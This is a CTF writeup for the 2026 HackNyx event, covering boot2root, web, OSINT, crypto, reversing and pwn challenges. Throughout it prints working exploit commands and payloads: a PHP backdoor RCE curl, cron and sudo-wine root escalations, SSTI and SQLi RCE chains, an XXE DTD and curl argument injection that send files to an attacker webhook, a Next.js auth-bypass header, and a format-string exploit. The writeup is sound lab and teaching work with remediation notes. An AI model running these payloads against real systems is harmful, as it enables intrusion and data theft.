

CTF WRITEUP | 2026

HackNyx

Capture The Flag — Full Writeup

Author: Mohammad Azri (Irza Chad)

Event Date: June 2026

Platform: TryHackMe · Custom Infrastructure

Flag Format: `HNYX{...}`

20+

CHALLENGES

7

CATEGORIES

5k+

POINTS

Table of Contents

BOOT2ROOT (TRYHACKME)

Transfer — Anonymous FTP Leak + Writable Cron	50 + 280 pts
GlauX — PHP 8.1.0-dev Backdoor → Docker Escape → Sudo Wine	380 pts (Hard)
Nocturnal — Exposed PhantomJS WebDriver → Root RCE	Medium

WEB EXPLOITATION

No Slang — Backslash SQLi + SSTI RCE	60 pts
No Slang 2 — SQL Quine + SSTI	200 pts
No Slang 3 — SHA2 Quine + Dot-free SSTI	270 pts
Import (XXE) — Blind OOB XML External Entity	240 pts
WiSaDeL — SOAP Hidden Method SQLi + pg_read_file	170 pts
Touch Grass — Boolean Blind SQLi (WAF bypass)	260 pts
Warm Up 3 — SQLi Bypass + Curl Argument Injection	90 pts
Middle Management — CVE-2025-29927 Next.js Auth Bypass	80 pts
PrintNightmare — WeasyPrint SSRF/LFI via Embedded Resources	230 pts

OSINT

Find Me — Chess.com Avatar Image Steganography	240 pts
Find Me 2 — What3Words Geolocation via Social Pivot	—
Deleted Tweet — Wayback Machine Archive Recovery	390 pts

CRYPTOGRAPHY

Kek Lapis — 7-Layer Base Encoding Tower	100 pts
---	---------

REVERSE ENGINEERING

PoolParty — Windows Thread-Pool Shellcode, ASLR & CRC32 Knocks	300 pts
Pacman — PyInstaller + Obfuscated Python + Pixel-Font Flag	290 pts
Confused Donut — ConfuserEx + Donut Shellcode (Chaskey-CTR)	270 pts

BINARY EXPLOITATION (PWN)

Overbear — Format String GOT Overwrite → ret2win	50 pts
Gatekeeper — PIE Leak + ROP mprotect + Filtered Shellcode	330 pts

DIGITAL FORENSICS

The Ghost in the RAM — BitLocker + Volatility + JPEG Magic Repair	290 pts
Fr1dg30S — LUKS Container + SQLite Free-Page Carving	280 pts
Lunar Telemetry — SSTV Audio Decode	250 pts

Signal Fragment — Binary Grid Decode (Base32)

160 pts

BOOT2ROOT

Boot to Root

TryHackMe-hosted Linux machines requiring full compromise from initial foothold through root.

Transfer

Easy

50 + 280 pts

FLAG	VALUE
User	HNYX{AN0N_M1SC0NF1G_FTP}
Root	HNYX{CR0NTAB_P3RM_3SCALATE_B2R1}

Anonymous FTP misconfiguration leaks a live SSH private key and the user flag. The leaked key unlocks an unprivileged shell; a writable cron script executed by root yields root.

1. Reconnaissance

Port scan revealed two services: `vsftpd 3.0.5` on port 21 with anonymous login enabled, and OpenSSH 8.2p1 on port 22. The FTP root directory exposed three files directly via anonymous access.

```
21/tcp  vsftpd 3.0.5  - anonymous_enable=YES
22/tcp  OpenSSH 8.2p1 (Ubuntu)

FTP root:
employee_ssh  1811 bytes - OpenSSH private key (cipher: none)
note.txt      200 bytes - "Hey stephen, your SSH key is here temporarily..."
user.txt      25 bytes - flag
```

2. User Flag — Anonymous FTP

All three files were retrieved with a single anonymous FTP session. The user flag was immediately available in `user.txt`, and the private SSH key in `employee_ssh` was completely unencrypted.

```
USER FLAG
HNYX{AN0N_M1SC0NF1G_FTP}
```

3. Foothold — SSH Key Authentication

The filename `employee_ssh` (rather than the note's mention of "stephen") correctly indicated the SSH username. The key authenticated as the `employee` user:

```
chmod 600 employee_ssh
ssh -i employee_ssh employee@<target>
# uid=1001(employee) gid=1001(employee)
```

4. Privilege Escalation — Writable Root Cron Script

Enumeration as `employee` found `/opt/cleanup.sh` owned and writable by the `employee` user, yet executed periodically by root's private crontab. Appending a payload to the script and waiting ~40 seconds yielded a SUID bash shell:

```
# Payload appended to /opt/cleanup.sh
cp /bin/bash /tmp/.rb && chmod 6755 /tmp/.rb
cat /root/root.txt > /tmp/.rf && chmod 644 /tmp/.rf

# After cron fires:
/tmp/.rb -p -c 'id; cat /root/root.txt'
# euid=0(root)
```

ROOT FLAG

HNYX{CR0NTAB_P3RM_3SCALATE_B2R1}

KILL CHAIN

anon FTP (port 21) → leaked employee_ssh key + user flag → SSH as employee → overwrite employee-writable /opt/cleanup.sh (run by root cron) → root

Remediation

- Disable anonymous FTP (`anonymous_enable=NO`); never store credentials in the FTP root.
- Rotate the exposed `employee` SSH key immediately.
- `chown root:root /opt/cleanup.sh; chmod 755` — cron scripts must not be writable by low-privilege users.

Glaux

Hard

380 pts

FLAG	VALUE
User (strix)	HNXX{30FD4C6999FED6EB19179D323D0C502DED96C2D7DC949D70}
Root	HNXX{026EBC25E942AE296D96E25B6C0832365603923F250C41E8}

A PHP 8.1.0-dev development backdoor (the 2021 Zerodium git compromise) gives instant root-inside-Docker. Leaked bash history reveals host SSH credentials. `sudo wine` (a GTFOBins path) converts any Windows executable into root execution on Linux.

1. Reconnaissance

```
22/tcp    OpenSSH 8.2p1   (host)
80/tcp    nginx 1.18.0     (NyxOwl splash)
8080/tcp  PHP cli server  - X-Powered-By: PHP/8.1.0-dev - backdoored build
```

2. Foothold — PHP 8.1.0-dev Zerodium Backdoor (Port 8080)

The PHP 8.1.0-dev build from the 2021 git supply-chain compromise carries an undisclosed backdoor: any HTTP request with a `User-Agent` header beginning with `zerodium` causes the server to `eval()` the remainder of the value as PHP code. Execution runs as root inside the container:

```
curl http://<target>:8080/ -H "User-Agent: zerodiumsystem('id');"
# uid=0(root) - inside Docker container "owlneat"
```

3. Container Escape — Leaked Credentials in Bash History

Although the process ran as root, a `/.dockerenv` marker confirmed Docker container context. Standard escape paths (no `docker.sock`, no `SYS_ADMIN`, no host mounts) were unavailable. The container's `/root/.bash_history` contained a plaintext SSH command:

```
sshpass -p 'Hoot3rN1ghtVis10n!' ssh strix@127.0.0.1
```

The `127.0.0.1` referenced the host at runtime. Connecting via the host's exposed SSH port:

```
sshpass -p 'Hoot3rN1ghtVis10n!' ssh strix@<host>
cat ~/user.txt # HNXX{30FD4C...}
```

```
USER FLAG
HNXX{30FD4C6999FED6EB19179D323D0C502DED96C2D7DC949D70}
```

4. Privilege Escalation — sudo wine (GTFOBins)

`sudo -l` revealed: `(root) NOPASSWD: /usr/bin/wine`. Under Wine, a Windows `windows/exec` payload calling `WinExec()` falls through to the Linux loader, executing shell commands as root. A simple MSFVenom-generated PE was used:

```
# Attacker:
msfvenom -p windows/exec CMD='/bin/bash /tmp/p.sh' -f exe -o p.exe
# p.sh: cp /bin/bash /tmp/.rb; chmod 6755 /tmp/.rb; cat /root/root.txt > /tmp/.rf

# Target (as strix):
sudo wine /tmp/p.exe # executes p.sh as root
/tmp/.rb -p -c 'cat /root/root.txt' # euid=0
```

ROOT FLAG

HNXX{026EBC25E942AE296D96E25B6C0832365603923F250C41E8}

KILL CHAIN

PHP 8.1.0-dev zerodium backdoor (8080) → root in Docker "owlneat" → leaked .bash_history SSH creds → SSH host as strix (user.txt) → sudo wine PE-as-root → root.txt

Remediation

- Never deploy `*-dev` PHP builds; the 8.1.0-dev backdoor is unconditional RCE as the PHP process user.
- Purge credentials from shell history; rotate all exposed passwords.
- Remove `wine` from sudoers — arbitrary Windows binary execution equals arbitrary Linux command execution as root (GTF0Bins).
- Run PHP behind an unprivileged user even inside Docker; apply least-privilege container caps.

Nocturnal

Medium

FLAG	VALUE
www-data	HNXX{4ce8ade380c1516ee450f77462d9f457}
User (moneygrabber)	HNXX{cbecc8e9c5c1bed8e7085cd45e675fe1}
Root	HNXX{ba9cdc68a113fa98cdac7f17caa6c571}

An unauthenticated PhantomJS WebDriver (GhostDriver) endpoint on port 443 is the unintended entrypoint — it allows arbitrary file reads via `file://` XHR and full root RCE via `require('child_process')`, bypassing the intended stored-XSS exploitation path entirely.

1. Reconnaissance

```
22/tcp  OpenSSH 8.0
80/tcp  Apache 2.4.37 (CentOS) — PHP 7.2.11 storefront "The Nocturnal Market"
443/tcp "Mongoose httpd" — plain HTTP JSON API
```

Port 443 returned `{"value":{"build":{"version":"1.2.0"}}}` on `GET /status`. The `/sessions` endpoint confirmed: `browserName: phantomjs, driverName: ghostdriver` — a completely unauthenticated Selenium/WebDriver instance.

2. Exploit — Unauthenticated GhostDriver: File Read → Root RCE

Using the old JSON Wire Protocol, a WebDriver session was created and used for two distinct attacks:

Arbitrary File Read (file:// SSRF)

```
SID=$(curl -s -XPOST http://<T>:443/session -d '{"desiredCapabilities":{"browserName":"phantomjs"}}' |
jq -r .sessionId)

# Navigate to a file:// URL, then same-origin XHR:
curl -s -XPOST http://<T>:443/session/$SID/execute -d '{"script":"var x=new XMLHttpRequest();
x.open("GET","file:///etc/passwd",false); x.send(); return x.responseText;"}'
```

The bot ran as root, allowing reads of `/etc/shadow`, database credentials in `settings/config.php`, and the admin panel cron script at `/scripts/xss.py`.

Root Remote Code Execution

PhantomJS's privileged `phantom` JavaScript context exposes Node.js APIs including `require('child_process')`:

```
curl -s -XPOST http://<T>:443/session/$SID/phantom/execute -d '{"script":"var
cp=require("child_process"); cp.execFile("/bin/bash",["-c","id > /tmp/.out 2>&1"],null,function({});
return "fired;"}'
```

All three flags were retrieved with a single `grep -rL "HNXX{" /` command executed as root.

KILL CHAIN

Unauthenticated GhostDriver (443) → create WebDriver session → file:// LFI as root → leak source + creds → phantom/execute child_process = root RCE → all flags

Remediation

- Never expose a WebDriver/Selenium/GhostDriver port — it is unconditional RCE+LFI as the process user.
- Run the validation bot as an unprivileged sandboxed user; disable `file://` and `child_process` access via a custom `page.onResourceRequested` filter.
- HTML-escape all order fields before rendering in the admin Smarty template.
- Remove the `/class/` Apache autoindex to prevent source code disclosure.

WEB EXPLOITATION

Web Exploitation

Server-side injection, authentication bypass, and SSRF across multiple custom web applications.

No Slang Series (1 / 2 / 3)

60 / 200 / 270 pts

A three-part escalating Flask + MariaDB challenge series where each iteration adds a new defence layer. The common thread is a quote-less SQL injection via MariaDB's backslash-escape behaviour feeding a Jinja2 SSTI sink.

Series Flags

PART	DEFENCE ADDED	FLAG
No Slang 1	Blocks <code>' "</code> only	<code>HYNX{b4cKsL4sH_br34Ks_7h3_Ch41n}</code>
No Slang 2	+ Post-lookup equality verify	<code>HYNX{1nF0_sCh3m4_l34Ks_3v3RyTh1nG}</code>
No Slang 3	+ SHA2 hashed keycodes + no <code>.</code>	<code>HYNX{h4sH_qU1n3_m4sT3rY_unL0cK3d}</code>

Core Technique — Backslash Quote-Less SQLi

MariaDB (in default mode) treats `\` as an escape character inside string literals. Submitting a single backslash as the operator value causes it to escape the server-added closing quote, allowing the `keycode` field to become raw injected SQL — without any single or double quotes leaving the client:

```
operator = keycode = ) UNION SELECT 1, CONVERT(0x<hex_payload> USING utf8mb4)-- -

# Resulting SQL:
SELECT id, operator FROM operators
WHERE operator = ('...junk...') UNION SELECT 1, CONVERT(0x... USING utf8mb4)-- -')
```

SSTI Sink

The UNION-injected value for column 2 (the `operator` column) is stored in the session and rendered as a Jinja2 template via `render_template_string()`. A basic payload achieves RCE:

```
{{cycler.__init__.__globals__.os.popen('/readflag').read()}}
```

No Slang 2 — SQL Quine

An added post-lookup check verifies `submitted_keycode == row[1]`. Since the injected keycode IS the injection string, a SQL quine using `REPLACE` self-reference is required:

```
T = ") UNION SELECT CONVERT(0x{C1} USING utf8mb4), CONVERT(REPLACE(0x~, 0x7e, HEX(0x~)) USING
utf8mb4) -- -"
THEX = HEX(T)
KC = T.replace("~", THEX) # submitted keycode; col2 resolves to KC at query time ✓
```

No Slang 3 — SHA2(quine) + Dot-Free Jinja2

Periods are banned (blocking `os.popen` attribute access) and keycodes are stored as SHA-256 hashes. The SQL quine is extended to hash itself at query time:

```
# The SHA2 quine – col2 == sha256(KC) where KC produces itself via REPLACE:
T = ") UNION SELECT CONVERT(0x{C1} ...), SHA2(REPLACE(0x~, 0x7e, HEX(0x~)), 256) -- -"

# Dot-free Jinja2 – dict() keyword names become attribute strings:
{{ (lipsum|attr(dict(__globals__=0)|first))[dict(os=0)|first]
  |attr(dict(popen=0)|first)(
    (request|attr(dict(args=0)|first))[dict(cmd=0)|first]
  )|attr(dict(read=0)|first)() }}
```

Key Lessons

- MariaDB's backslash-escape mode creates SQL injection opportunities even when single and double quotes are blocked.
- SQL quines using `REPLACE(0x~, 0x7e, HEX(0x~))` solve post-lookup equality verification without external data.
- `dict(NAME=0)|first` converts any Python keyword name into a string without using quotes or dots, enabling quote-free and dot-free SSTI payloads.

Import — Blind OOB XXE

240 pts

```
FLAG
HNYX{Bl1nD_XmL_t0_Lf1_w1tH_00b_t3cHn1Qu3}
```

PHP XML importer loads user-controlled XML with `LIBXML_NOENT` | `LIBXML_DTDLOAD` and no network restriction, but suppresses all output. OOB parameter-entity XXE reads `/flag` via `php://filter` and exfiltrates it base64-encoded to an attacker-controlled webhook.

Vulnerability

```
libxml_use_internal_errors(true);          // errors suppressed → blind
$dom->loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD);
// LIBXML_NOENT = expand entities, LIBXML_DTDLOAD = load remote DTDs
// LIBXML_NONET is NOT set → outbound network allowed
```

Exploit — OOB Parameter-Entity DTD

A malicious DTD file served from an attacker-controlled server reads the flag via PHP stream wrappers and exfiltrates it as a URL parameter:

```
# evil.dtd (served at attacker's webhook)
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/flag">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'https://WEBHOOK/c?x=%file;'">
%eval;
%exfil;
```

```
# Payload sent to /import.php
<?xml version="1.0"?>
<!DOCTYPE r [
  <!ENTITY % remote SYSTEM "https://WEBHOOK/evil.dtd">
  %remote;
]>
<r>x</r>
```

The server returns "Parse Error" (the DTD parse fails gracefully), but the OOB GET to the webhook has already fired with the base64-encoded flag as the `x` parameter.

Key Lesson

- Restrict untrusted XML parsing with `LIBXML_NONET` and avoid `LIBXML_NOENT` | `LIBXML_DTDLOAD`. A "blind" parser that returns no data is still exploitable via OOB callbacks — network access is the critical enabler.

WiSaDeL — SOAP SQLi + pg_read_file

170 pts

FLAG

HNYX{s04P_P0stgr3s_sUcC3sS_rC3_Pwn3d}

A Flask SOAP service exposes a hidden `getDocuments_Dev` WSDL method that builds SQL via string interpolation. The database runs as the PostgreSQL superuser, enabling `pg_read_file()` to read arbitrary files.

Discovery

The WSDL at `GET /DocumentsService.asmx` advertised two operations: the safe parameterized `getDocuments` and a development method `getDocuments_Dev` labelled "Under development." The development handler built its query without parameterization:

```
sql = f"SELECT name, author, description FROM Documents WHERE (name = '{document}')) AND (author = '{author}'))"
```

Exploit

```
POST /DocumentsService.asmx
SOAPAction: http://tempuri.org/getDocuments_Dev

<getDocuments_Dev xmlns="http://tempuri.org/">
  <document>') UNION SELECT pg_read_file('/flag.txt'),'a','b'-- </document>
  <author>x</author>
</getDocuments_Dev>
```

The flag appeared in the first `<name>` element of the SOAP response.

Key Lesson

- Enumerate all WSDL operations — "dev" or "internal" methods are frequently injection-vulnerable.
- A PostgreSQL superuser connection gives file read (`pg_read_file`), file write (`COPY ... TO`), and OS command execution (`COPY ... FROM PROGRAM`) — equivalent to OS root.

Touch Grass — Boolean Blind SQLi with WAF Bypass

260 pts

FLAG

HNYX{Alw4yS_s4n1TiZ3_y0uR_lnPuT!}

Flask course-search endpoint with a WAF blocking whitespace, commas, `*`, and the word `or`. No UNION possible; exploited via boolean oracle using parentheses as whitespace and comma-free `SUBSTRING(str FROM pos FOR 1)` syntax.

WAF Rules

```
BLOCKED = r'\s|,|\*' # whitespace, comma, star
BLOCKED_WORD = r'\bor\b' # word-boundary OR
# Quotes are NOT blocked → can break out of the LIKE clause
```

Bypass Techniques

- **No whitespace:** use parentheses as SQL token delimiters — `AND(...)#`
- **No comma:** use `SUBSTRING(str FROM pos FOR 1)` syntax
- **No star:** select the flag column by explicit name instead of `SELECT *`
- **No `or`:** the word-boundary check ignores `FOR`, `FROM` — safe to use

Boolean Oracle Payload

```
# Payload: '%AND(<cond>)#'
# → WHERE course_name LIKE '%AND(<cond>)%'
# TRUE = 8 course rows shown; FALSE = 0 rows

LENGTH((SELECT(flag_value)FROM(flag))>N
ASCII(SUBSTRING((SELECT(flag_value)FROM(flag))FROM(i)FOR(1))>K

# Binary-search → 33 chars → HNYX{Alw4yS_s4n1TiZ3_y0uR_lnPuT!}
```

Warm Up 3 — SQLi Auth Bypass + Curl Argument Injection

90 pts

FLAG

```
HNYYX{3nD_0f_w4rM_uP_cH4LlENg3_G00dLucK_h4ck3rS!}
```

Decoy flag planted in the database: `HNYYX{D0_y0u_3xPeCt_th3_fl4g_1s_ln_4n0th3r_d4t4B@s3??}` — the real flag is a file on disk.

Stage 1 — SQL Injection Login Bypass

Classic SQLi on the login form (`' or 1=1 -- -`). Row-walking with `LIMIT 1 OFFSET N` identified the admin account, unlocking the `network_tools.php` admin panel.

Stage 2 — Curl Argument Injection (OOB File Read)

The admin panel passed a user-controlled URL to `curl` after stripping shell metacharacters, but left spaces, slashes, dashes, and `@` intact — enabling curl flag injection for out-of-band file exfiltration:

```
$command = "curl -s -D - -o /dev/null " . $sanitized_url . " | grep -oP '^HTTP.+[0-9]{3}'";
# Inject: https://WEBH00K/x -T /var/www/html/db.php
# → curl uploads db.php via HTTP PUT to attacker's server
```

Stage 3 — Read the Flag File

The hint "Network_Success_Log" was a literal filename in the webroot (not a database table). Retrieved via curl argument injection:

```
url = -T /var/www/html/Network_Success_Log https://WEBH00K/x
# → file uploaded; contains the real flag
```

Middle Management — CVE-2025-29927 (Next.js Auth Bypass)

80 pts

FLAG

HYNX{m1ddl3w4r3_1snt_4n_4uth_b0undary}

Next.js app gates `/admin` purely in middleware. CVE-2025-29927 allows skipping middleware entirely by sending the internal `x-middleware-subrequest` header, exposing the admin route without authentication.

Exploit

```
curl -s -H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware' http://<host>:8001/admin
# → 200 OK — renders admin page with flag
```

The depth-5 colon-delimited format was required for the specific Next.js build version deployed. The CVE exploits the internal recursion-prevention mechanism, which Next.js uses to stop middleware from calling itself — an attacker-supplied header triggers the same skip logic.

Key Lesson

- Middleware is not an authorization boundary. Enforce access control at the route handler, data layer, or a separate service — not only in middleware that can be bypassed by internal headers.
- Patch Next.js to $\geq 14.2.25$ / $\geq 15.2.3$ to remediate CVE-2025-29927.

PrintNightmare — WeasyPrint LFI via Embedded Resources

230 pts

FLAG

```
HNyX{d0nT_tRuSt_uR1_c0nVerT3r!!}
```

A Flask URL-to-PDF service validates only the top-level URL scheme (http/https), but WeasyPrint's internal resource fetcher follows `file://` for embedded assets referenced inside the fetched page. A `<link rel="attachment">` tag embeds the local flag file as a PDF attachment.

Exploit

Host a page accessible via HTTPS containing a document-level attachment reference to the local flag file:

```
<!-- Hosted at attacker's webhook (text/html response) -->
<link rel="attachment" href="file:///app/flag.txt">
```

```
curl -s -X POST "$BASE/" --data-urlencode "url=https://webhook.site/<uuid>" -o out.pdf

# Extract the FlateDecode attachment stream:
python3 -c "
import re, zlib
for m in re.finditer(rb'stream
?
(.*?)
?
endstream', open('out.pdf', 'rb').read(), re.S):
    try: print(zlib.decompress(m.group(1).strip(b'
'))))
    except: pass
"
# → b'HNyX{d0nT_tRuSt_uR1_c0nVerT3r!!}'
```

Key Lesson

- HTML-to-PDF renderers are SSRF/LFI primitives. Validating only the top-level URL scheme is insufficient — the renderer's resource fetcher must also be restricted via a custom `url_fetcher` that blocks `file://` and private-range HTTP URLs.

OSINT

Open Source Intelligence

Tracing a fictional persona across multiple social platforms, recovering archived deleted content.

Find Me

240 pts

FLAG

```
HNXX{Y0u_F0und_Me_E@5y_R1ght?}
```

The flag is plain visible text rendered on Daniel Kaelen's Chess.com profile avatar image — a hacker-at-screen stock photo with the flag overlaid on the monitor. The Chess.com API returns the avatar URL, but the image must be downloaded and inspected visually.

Persona

Target: **Daniel Kaelen** — a fictional freelance cloud architect persona active on GitHub, Instagram, TikTok, Medium, and Chess.com.

Solution

The Chess.com public API ([/pub/player/danielkaelen](https://api.chess.com/pub/player/danielkaelen)) returned an avatar URL. Downloading and viewing the image revealed the flag printed on a monitor in the photo. The challenge description's hint "I don't think it is in the image" was deliberate misdirection.

```
curl -s "https://api.chess.com/pub/player/danielkaelen" | python3 -c "import sys,json;
d=json.load(sys.stdin); print(d['avatar'])"
# https://images.chesscomfiles.com/uploads/v1/user/564976422.3e740439.200x200o.c548bfc81f84.jpg
# → download → read text on monitor: HNXX{Y0u_F0und_Me_E@5y_R1ght?}
```

Find Me 2 — What3Words Geolocation

Bonus

FLAG

```
HNXX{tripped.boarding.playing}
```

Daniel Kaelen's TikTok food-trail video reposted content from [@ayamgepukartisan](#), identifying his favourite restaurant as Ayam Gepuk Artisan Danau Kota — confirmed by his Medium food-ranking articles. The Google Maps pin for that branch resolves to what3words [///tripped.boarding.playing](#).

Deleted Tweet — Wayback Machine Archive Recovery

390 pts

FLAG

```
HNXX{@rch1v3$_n3ver_f0rg3t}
```

A deleted tweet from Daniel Kaelen's X account (@dk_cloudnomad) linked to a deleted GitHub Gist containing a base64-encoded flag. Both the tweet and the Gist survive in the Wayback Machine as archived API JSON and compressed HTML snapshots respectively.

Pivot Chain

1. GitHub [DanielKaelen](#) profile → Instagram handle [@dk_cloudnomad](#)
2. Handle pivot → Twitter/X [@dk_cloudnomad](#) (all 13 tweets deleted; 0 live)
3. Wayback CDX API recovery of archived tweet status pages (stored as Twitter API v2 JSON)
4. Deleted tweet: "Temporary backup before cleanup." linking to a GitHub Gist ([config-prod.txt](#))
5. Gist deleted (404), but 5 Wayback snapshots survive; gzip-encoded HTML must be decompressed

Recovery Commands

```
# List archived tweets:
curl "http://web.archive.org/cdx/search/cdx?url=twitter.com/dk_cloudnomad/status/
*&fl=timestamp,original"

# Fetch archived Gist (raw, gzip-encoded):
curl -sL "https://web.archive.org/web/20260615002234id_/https://gist.github.com/DanielKaelen/<id>" |
gunzip -c
```

Recovered File (config-prod.txt)

```
APP_ENV=production
AWS_REGION=us-east-1
BACKUP_BUCKET=cloudnomad-prod-backups
API_KEY=dGh1IGZsYWcgaXM6IEh0WVh7QHJjaDF2MyRfbjN2ZXJfZjByZzN0fQ==

$ echo "dGh1IGZsYWcgaXM6IEh0WVh7QHJjaDF2MyRfbjN2ZXJfZjByZzN0fQ==" | base64 -d
the flag is: HNXX{@rch1v3$_n3ver_f0rg3t}
```

Key Lessons

- Username pivots require confirmation — verify the archived profile display name matches the target (a different account on a similar handle was a decoy).
- GitHub serves gzip-encoded pages; use `gunzip` when fetching `id_` Wayback captures.
- Archives never forget: deleted tweets and deleted Gists both survived in the Wayback Machine.

CRYPTOGRAPHY

Cryptography

Encoding analysis and multi-layer base decoding.

Kek Lapis — Seven-Layer Base Encoding Tower

100 pts

```
FLAG
HNXY{k3k_l4p1s_h4s_s0_m4ny_l4y3rs}
```

"Kek Lapis" (Malaysian layer cake) — a 320-character ciphertext that is seven base-encodings deep. Each layer is identified by the character set of the previous decode. The outer layer is base92, which uniquely contains both ' and \ .

Layer Identification Table

#	ENCODING	IDENTIFICATION SIGNAL	OUTPUT LENGTH
0	base92	86 distinct chars incl. ' and \ , excl. " and `	320 chars
1	ascii85	Byte range 33–117 (! ... u)	260 B
2	base64	A-Za-z0-9+/=	208 B
3	base62	Alphanumeric including 0 0 I l	155 B
4	base58	Alphanumeric excluding 0 0 I l (Bitcoin alphabet)	115 B
5	base45	0-9 A-Z \$%*+-. / : (RFC 9285)	84 B
6	base32	A-Z 2-7	56 B
7	plaintext	Flag	34 chars

Note: the decoded bytes read HNXY{...} (X/Y transposed) — an author encoding typo. The accepted submission is HNXY{k3k_l4p1s_h4s_s0_m4ny_l4y3rs} . Verified by re-encoding the recovered plaintext through all seven layers and confirming exact reproduction of the original challenge.txt.

REVERSE ENGINEERING

Reverse Engineering

Static and dynamic analysis of obfuscated Windows PE files, PyInstaller bundles, and .NET assemblies.

PoolParty — Windows Thread-Pool Shellcode with ASLR & CRC32 Knocks

300 pts

FLAG

HNXX{s1LLy_w0rk3r_dRop_aThread}

A PE32+ TCP server builds the flag at runtime from 8 encrypted shellcode stubs stored in a resource section. Each stub is masked with the process's ASLR "water level" and the CRC32 of a per-lane "knock" sent over the socket. Static recovery bypasses all runtime behaviour by working backwards from the fixed difference between adjacent words.

Architecture

- TCP server on port 59172; thread-pool I/O model (`CreateThreadpoolIo`)
- A 64-byte `RT_RCDATA` resource is decrypted with a **xorshift(13,17,5) keystream** seeded by `CRC32(code_bytes) XOR 0x1337C0DE`
- The 16 decrypted dwords become 8 heap buffers (2 dwords each); each buffer is modified three times (flag-gen XOR, startup XOR+NOT, per-lane XOR with knock CRC)
- Sending the correct 4-byte knock per lane decodes the buffer into executable `mov eax, imm32; ret` shellcode; the result XOR-s with the water level to produce a flag dword

Static Solution

The intended stub form is always `B8 i0 i1 i2 i3 C3 90 90` (`mov eax, imm32; ret; nop; nop`). The trailing bytes are constants, making the fixed difference `D = dec[2j] ^ water_fg ^ ~dec[2j+1]` fully determine the flag immediate:

```
D = dec[2j] ^ water_fg ^ ~dec[2j+1]    # knock-independent
i0 = 0xC3 ^ D[1]; i1 = 0x90 ^ D[2]
i2 = 0x90 ^ D[3]; i3 = 0xB8 ^ D[0]
imm = i0 | (i1 << 8) | (i2 << 16) | (i3 << 24)
flag_word[j] = (water_h >> 8) ^ imm

# With ASLR off (base=0x140000000, water_h=0x40000001, water_h>>8=0x00400000):
# → HNXX{s1LLy_w0rk3r_dRop_aThread}
```

Key Lesson

- When a binary generates output entirely at runtime, run or emulate it early and ground-truth with a single breakpoint at the key instruction — hand-deriving an XOR/CRC pipeline is error-prone (a missed NOT transform cost significant time here).

Pacman — PyInstaller Obfuscation + Pixel-Font Flag

290 pts

FLAG

HNYX{1cfdc3b5733ae357158deee7bc80db5d}

A PyInstaller-packed Windows Pacman game. The win screen renders the flag as a static pixel-font bitmap from `renderer.py` — fully recoverable without playing the game. The Python sources are protected by ~32 layers of reverse-then-base64-then-zlib obfuscation.

Extraction Process

1. Parse the PyInstaller CArchive (magic `MEI     `, walk the Table of Contents)
2. Extract `.mpy` entries — each is a headerless Python 3.12 marshalled code object wrapping `exec(_(b'<blob>'))` where `_` reverses, base64-decodes, and zlib-decompresses
3. Peel ~32 identical wrapper layers until real source code emerges
4. Extract `PYZ.pyz` (magic `PYZ`, marshal TOC, zlib per entry) → decompile `renderer.py`
5. Render the `FLAG_BITMAP` (7×228 booleans) as ASCII art, split on blank columns into 38 glyphs

```
# FLAG_BITMAP rendering
for col in 0..37:
    glyph = FLAG_BITMAP[:, col*6:(col+1)*6]
    print(['#' if cell else '.' for cell in glyph])
# 38 glyphs → H N Y X { 1 c f d c 3 b 5 7 3 3 a e 3 5 7 ... d b 5 d }
```

The critical disambiguation: the 8th glyph (top-right hook + mid crossbar) is lowercase `f` not `t`, making the inner string a valid 32-character hex digest.

Confused Donut — ConfuserEx + Donut Shellcode (Chaskey-CTR)

270 pts

FLAG

```
HNXX{c0nfu$1nG_tH3_d0nUt_4_c0ff33}
```

A ConfuserEx-obfuscated .NET WinForms app embeds a reversed-Base64 string that decodes to Donut-format shellcode encrypted with Chaskey-CTR. Decrypting the shellcode reveals an inner .NET DLL whose `Payload.Flag.Run()` writes the flag to the Windows registry — silently, without any UI output.

Layer 1 — ConfuserEx .NET Wrapper

```
# Resources extracted via monodis --mresources:
d0nut_glaz3 = System.String (29,824-char reversed Base64)

# RunShellcode():
char[] arr = Resources.d0nut_glaz3.ToCharArray();
Array.Reverse(arr); // unreverse
byte[] shellcode = Convert.FromBase64String(new string(arr)); // decode → 22,367 bytes
```

Layer 2 — Donut Shellcode (Chaskey-CTR)

The shellcode begins with a CALL to the Donut loader, followed by a DONUT_INSTANCE structure containing the encryption key, counter, and encrypted DONUT_MODULE:

OFFSET	FIELD	VALUE
0x004	mk (master key)	16 bytes
0x014	ctr (counter)	16 bytes
0x23C	encrypted module	Chaskey-16 CTR ciphertext

Layer 3 — Inner .NET DLL

After Chaskey-CTR decryption, the DONUT_MODULE contains an embedded PE. Decompilation with ILSpy reveals:

```
namespace Payload;
public class Flag {
    public static void Run() {
        RegistryKey key = Registry.CurrentUser.OpenSubKey(
            "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", writable: true);
        key.SetValue("Flag", "HNXX{c0nfu$1nG_tH3_d0nUt_4_c0ff33}");
    }
}
```

The flag is written silently to `HKCU\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Flag` — no console output, no MessageBox — which is why basic sandbox analysis misses it.

BINARY EXPLOITATION

Binary Exploitation (PWN)

Format string vulnerabilities and ROP-based shellcode execution against Linux x86-64 binaries.

Overbear — Format String GOT Overwrite → ret2win

50 pts

FLAG

HNYX{S1mpl3_0verR1d3_g0_bRRRRRR}

The "patched overflow" (capped at 255 bytes) is a red herring. The real bug is a `printf(buffer)` with no format argument — a classic format string vulnerability. Overwriting `fflush@GOT` with `win()` triggers a shell on the very next `fflush()` call.

Binary Protections

No PIE, NX disabled, No canary, Partial RELRO → fixed addresses, writable GOT

Exploit

```
from pwn import *
elf = context.binary = ELF('./overbear', checksec=False)

# fflush@GOT = 0x404038, win() = 0x40125b
# Format string parameter offset: 6 (%6$p == our buffer)
# Only low 2 bytes differ → single %hn write

payload = fmtstr_payload(6, {0x404038: 0x40125b}, write_size='short')
# 40 bytes – safely under the 255-byte cap

p = remote('34.143.189.39', 10063)
p.recvuntil(b'You      : ')
p.send(payload + b'
')
p.interactive() # shell → cat /flag.txt
```

Gatekeeper — PIE Leak + mprotect ROP + Filtered Shellcode

330 pts

FLAG

HNYX{g4t3_l34k_fus3d_w1th_jit_mpr0t3ct}

